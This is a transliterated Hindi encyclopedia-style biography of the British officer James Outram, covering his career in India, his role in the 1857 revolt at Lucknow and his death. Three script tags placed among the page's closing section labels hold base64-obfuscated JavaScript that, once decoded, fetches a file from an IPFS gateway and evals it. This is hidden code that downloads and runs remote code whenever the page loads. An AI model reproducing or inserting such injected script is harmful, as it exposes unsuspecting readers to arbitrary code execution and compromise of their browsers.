जेम्स आउटरम

jems autaram gadar ke samay aangrezoan ka ek vir nayak tha. vah 1819 ee. mean ek kaidet (shiksharthi sainik adhiki) ke roop mean bharat aya. 1820 mean apani chusti ke karan vah poona mean edajuteant bana diya gaya.

parichay

jems autaram ko 1825 ee. mean khanadesh bheja gaya. vahaan ke bhil usase bahut prabhavit hue. usane bhiloan ko paidal sena mean bharti kiya. unako hal ke hathiyar diye. yah palatan sthaniy choroan ki lootamar rokane mean bahut hi saphal siddh huee. 1835 se 1838 ee. tak vah gujarat mean politikal ejeant raha. 1838 ee. mean usane afagan yuddh mean bhag liya. usane gazani ke qile ke samane shatruoan ke jhande chhin lene mean vyaktigat riti se virata pradarshit ki, jisake karan usaka bahut nam hua. 1839 ee. mean vah sindh mean politikal ejeant niyukt hua. usane apane uchch adhikari sar charls nepiyar ki niti ka virodh karake, jisake phalasvaroop sindh ke amiroan se yuddh hua, apane sabal vyaktitv tatha apani nyayapriyata ka parichay diya. parantu jab yuddh chhi d gaya, to usane 800 baloochiyoan ke hamale se haidarabad rejideansi ki viratapoorvak raksha ki. isake phalasvaroop sar charls nepiyar ne usaki tulana prasiddh fraansisi vir beyard se ki.

san 1854 ee. mean jems autaram lakhanoo mean rejideant niyukt hua. 1856 ee. mean usane avadh ka rajy navaboan se le liya aur usake aangrezi samrajy mean mila liye jane ke bad prant ka pahala chif kamishnar niyukt hua. jis samay gadar hua, vah faras mean tha. use shighrata se faras se bula liya gaya aur kalakatta se kanapur tak ki raksha karane vali bangal armi ka kamaandar niyukt kiya gaya. usane lakhanoo rejideansi ka mohasara uthane mean haivalak ki bhari madad ki aur vidrohiyoan ko chakama dekar rejideansi mean phansi fauj ko nikal le aya. isake bad usane lakhanoo par pun: adhikar karane mean sar kalin kaimpabel ko madad di. gadar ke samay usane lom di jaisi chalaki tatha sianh jaisi bahaduri ka parichay diya. british parliyameant ne isake upalakshy mean use 'bairan' ki padavi pradan ki aur usaki ajivan peanshan niyat kar di. kalakatta mean sthapit usaki gho de par savar moorti moortikala ka uttam udaharan thi.

mrityu

usane 1860 ee. mean avakash grahan kiya aur 1863 ee. mean ianglaind mean usaki mrityu huee.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>